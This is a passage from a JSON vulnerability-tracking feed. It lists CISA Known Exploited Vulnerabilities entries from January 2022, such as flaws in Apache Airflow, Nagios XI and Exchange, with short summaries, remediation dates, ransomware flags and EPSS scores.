organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-18","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"Airflow","stacks":["Apache","Airflow"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-18","dueAt":"2022-07-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99189,"percentile":0.99933,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-11978&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-11978","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-11978 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-11978&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-11978, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-13671","cveId":"CVE-2020-13671","aliases":[],"kind":"vulnerability","title":"Drupal core Un-restricted Upload of File","summary":"Improper sanitization in the extension file names is present in Drupal core.","detail":"CISA added this entry on 2022-01-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-18","updatedAt":null,"regions":["Global"],"vendor":"Drupal","product":"Drupal core","stacks":["Drupal","Drupal core"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-18","dueAt":"2022-07-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.36167,"percentile":0.98466,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-13671&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-13671","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-13671 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-13671&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-13671, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-13927","cveId":"CVE-2020-13927","aliases":[],"kind":"vulnerability","title":"Apache Airflow's Experimental API Authentication Bypass","summary":"The previous default setting for Airflow's Experimental API was to allow all API requests without authentication.","detail":"CISA added this entry on 2022-01-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-18","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"Airflow's Experimental API","stacks":["Apache","Airflow's Experimental API"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-18","dueAt":"2022-07-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99778,"percentile":0.99955,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-13927&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-13927","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-13927 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-13927&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-13927, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-14864","cveId":"CVE-2020-14864","aliases":[],"kind":"vulnerability","title":"Oracle Business Intelligence Enterprise Edition Path Transversal","summary":"Path traversal vulnerability, where an attacker can target the preview FilePath parameter of the getPreviewImage function to get access to arbitrary system file.","detail":"CISA added this entry on 2022-01-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-18","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"Intelligence Enterprise Edition","stacks":["Oracle","Intelligence Enterprise Edition"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-18","dueAt":"2022-07-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97233,"percentile":0.99895,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-14864&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-14864","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-14864 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-14864&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-14864, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-21315","cveId":"CVE-2021-21315","aliases":[],"kind":"vulnerability","title":"System Information Library for Node.JS Command Injection","summary":"In this vulnerability, an attacker can send a malicious payload that will exploit the name parameter. After successful exploitation, attackers can execute remote.","detail":"CISA added this entry on 2022-01-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-18","updatedAt":null,"regions":["Global"],"vendor":"Npm package","product":"System Information Library for Node.JS","stacks":["Node.js","Npm package","System Information Library for Node.JS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-18","dueAt":"2022-02-01","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.90675,"percentile":0.99801,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-21315&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-21315","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-21315 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-21315&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-21315, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-21975","cveId":"CVE-2021-21975","aliases":[],"kind":"vulnerability","title":"VMware Server Side Request Forgery in vRealize Operations Manager API","summary":"Server Side Request Forgery (SSRF) in vRealize Operations Manager API prior to 8.4 may allow a malicious actor with network access to the vRealize Operations Manager API to perform a SSRF attack to steal administrative credentials.","detail":"CISA added this entry on 2022-01-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-18","updatedAt":null,"regions":["Global"],"vendor":"VMware","product":"vRealize Operations Manager API","stacks":["VMware","vRealize Operations Manager API"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-18","dueAt":"2022-02-01","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.78001,"percentile":0.9957,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-21975&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-21975","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-21975 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-21975&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-21975, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-22991","cveId":"CVE-2021-22991","aliases":[],"kind":"vulnerability","title":"F5 BIG-IP Traffic Management Microkernel Buffer Overflow","summary":"The Traffic Management Microkernel of BIG-IP ASM Risk Engine has a buffer overflow vulnerability, leading to a bypassing of URL-based access controls.","detail":"CISA added this entry on 2022-01-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-18","updatedAt":null,"regions":["Global"],"vendor":"F5","product":"BIG-IP Traffic Management Microkernel","stacks":["F5 BIG-IP","F5","BIG-IP Traffic Management Microkernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-18","dueAt":"2022-02-01","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.62421,"percentile":0.99179,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-22991&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-22991","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-22991 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-22991&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-22991, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-25296","cveId":"CVE-2021-25296","aliases":[],"kind":"vulnerability","title":"Nagios XI OS Command Injection","summary":"Nagios XI contains a vulnerability which can lead to OS command injection on the Nagios XI server.","detail":"CISA added this entry on 2022-01-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-18","updatedAt":null,"regions":["Global"],"vendor":"Nagios","product":"Nagios XI","stacks":["Nagios","Nagios XI"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-18","dueAt":"2022-02-01","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.71935,"percentile":0.99423,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-25296&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-25296","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-25296 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-25296&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-25296, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-25297","cveId":"CVE-2021-25297","aliases":[],"kind":"vulnerability","title":"Nagios XI OS Command Injection","summary":"Nagios XI contains a vulnerability which can lead to OS command injection on the Nagios XI server.","detail":"CISA added this entry on 2022-01-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-18","updatedAt":null,"regions":["Global"],"vendor":"Nagios","product":"Nagios XI","stacks":["Nagios","Nagios XI"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-18","dueAt":"2022-02-01","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.56659,"percentile":0.99055,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-25297&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-25297","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-25297 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-25297&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-25297, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-25298","cveId":"CVE-2021-25298","aliases":[],"kind":"vulnerability","title":"Nagios XI OS Command Injection","summary":"Nagios XI contains a vulnerability which can lead to OS command injection on the Nagios XI server.","detail":"CISA added this entry on 2022-01-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-18","updatedAt":null,"regions":["Global"],"vendor":"Nagios","product":"Nagios XI","stacks":["Nagios","Nagios XI"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-18","dueAt":"2022-02-01","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.73641,"percentile":0.99466,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-25298&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-25298","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-25298 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-25298&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-25298, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-32648","cveId":"CVE-2021-32648","aliases":[],"kind":"vulnerability","title":"October CMS Improper Authentication","summary":"In affected versions of the october/system package an attacker can request an account password reset and then gain access to the account using a specially crafted request.","detail":"CISA added this entry on 2022-01-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-18","updatedAt":null,"regions":["Global"],"vendor":"October CMS","product":"October CMS","stacks":["October CMS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-18","dueAt":"2022-02-01","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.90418,"percentile":0.99798,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-32648&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-32648","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-32648 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-32648&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-32648, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-33766","cveId":"CVE-2021-33766","aliases":[],"kind":"vulnerability","title":"Microsoft Exchange Server Information Disclosure","summary":"Microsoft Exchange Server contains an information disclosure vulnerability which can allow an unauthenticated attacker to steal email traffic from target.","detail":"CISA added this entry on 2022-01-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-18","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Exchange Server","stacks":["Microsoft Exchange","Microsoft","Exchange Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-18","dueAt":"2022-02-01","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98176,"percentile":0.99913,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-33766&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-33766","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-33766 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-33766&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-33766, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-40870","cveId":"CVE-2021-40870","aliases":[],"kind":"vulnerability","title":"Aviatrix Controller Unrestricted Upload of File","summary":"Unrestricted upload of a file with a dangerous type is possible, which allows an unauthenticated user to execute arbitrary code via directory traversal.","detail":"CISA added this entry on 2022-01-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-18","updatedAt":null,"regions":["Global"],"vendor":"Aviatrix","product":"Aviatrix Controller","stacks":["Aviatrix","Aviatrix Controller"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-18","dueAt":"2022-02-01","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.93019,"percentile":0.99831,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-40870&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-40870","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-40870 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-40870&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-40870, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-3900","cveId":"CVE-2013-3900","aliases":[],"kind":"vulnerability","title":"Microsoft WinVerifyTrust function Remote Code Execution","summary":"A remote code execution vulnerability exists in the way that the WinVerifyTrust function handles Windows Authenticode signature verification for PE files.","detail":"CISA added this entry on 2022-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-10","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"WinVerifyTrust function","stacks":["Microsoft","WinVerifyTrust function"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-10","dueAt":"2022-07-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.44647,"percentile":0.9876,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-3900&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-3900","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-3900 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-3900&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-3900, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-7450","cveId":"CVE-2015-7450","aliases":[],"kind":"vulnerability","title":"IBM WebSphere Application Server and Server Hypervisor Edition Code Injection.","summary":"Serialized-object interfaces in certain IBM analytics, business solutions, cognitive, IT infrastructure, and mobile and social products allow remote attackers to execute arbitrary commands","detail":"CISA added this entry on 2022-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-10","updatedAt":null,"regions":["Global"],"vendor":"IBM","product":"WebSphere Application Server and Server Hypervisor Edition","stacks":["IBM","WebSphere Application Server and Server Hypervisor Edition"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-10","dueAt":"2022-07-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97764,"percentile":0.99904,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-7450&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-7450","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-7450 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-7450&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-7450, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-1000486","cveId":"CVE-2017-1000486","aliases":[],"kind":"vulnerability","title":"Primetek Primefaces Remote Code Execution Vulnerability","summary":"Primetek Primefaces is vulnerable to a weak encryption flaw resulting in remote code execution","detail":"CISA added this entry on 2022-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-10","updatedAt":null,"regions":["Global"],"vendor":"Primetek","product":"Primefaces 